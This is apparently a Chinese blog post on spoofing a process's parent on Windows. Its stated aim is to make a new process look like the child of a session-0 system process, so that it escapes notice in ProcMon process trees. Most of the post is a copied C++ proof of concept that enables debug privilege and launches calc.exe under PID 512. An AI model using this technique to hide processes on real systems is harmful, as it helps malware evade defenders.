Windows创建进程时指定父进程

通常情况下,在进程特别多的情况下使用ProcMon抓行为的时候都只是简单的看一下该进程的进程树,不会去注意系统进程创建的进程,这里就有了一个想法,可不可以在创建的时候指定父进程,之后在网上找了份代码,也没改直接拿来测试下,发现在提权之后是可以指定父进程为session 0的进程

Windows创建进程时指定父进程_第1张图片

#include
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BOOL EnableDebugPrivilege(){
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
		return   FALSE;
	}
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
		CloseHandle(hToken);
		return FALSE;
	}
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = sedebugnameValue;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
		CloseHandle(hToken);
		return FALSE;
	}
	return TRUE;
}

int main(){

	EnableDebugPrivilege();

	CHAR* lpExePath = "calc.exe";

	/* 根据进程名获取任意进程Id */
	DWORD  pid =512;

	HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	/* 创建启动信息结构体 */
	STARTUPINFOEXA si;

	/* 初始化结构体 */
	ZeroMemory(&si, sizeof(si));

	/* 设置结构体成员 */
	si.StartupInfo.cb = sizeof(si);

	SIZE_T lpsize = 0;

	/* 用微软规定的特定的函数初始化结构体 */
	InitializeProcThreadAttributeList(NULL, 1, 0, &lpsize);

	/* 转换指针到正确类型 */
	char * temp = new char[lpsize];
	LPPROC_THREAD_ATTRIBUTE_LIST AttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)temp;

	/* 真正为结构体初始化属性参数 */
	InitializeProcThreadAttributeList(AttributeList, 1, 0, &lpsize);

	/* 用已构造的属性结构体更新属性表 */
	if (!UpdateProcThreadAttribute(AttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL)){
		printf("%s", "Fail to update attributes");
		return 0;
	}

	si.lpAttributeList = AttributeList;

	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));



	//==========================================================

	//=========================================================



	CreateProcessAsUserA(NULL, 0, lpExePath, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, (LPSTARTUPINFOA)&si, &pi);
	

	DeleteProcThreadAttributeList(AttributeList);
	delete temp;
	

	return 0;
}


 

代码出至原始代码

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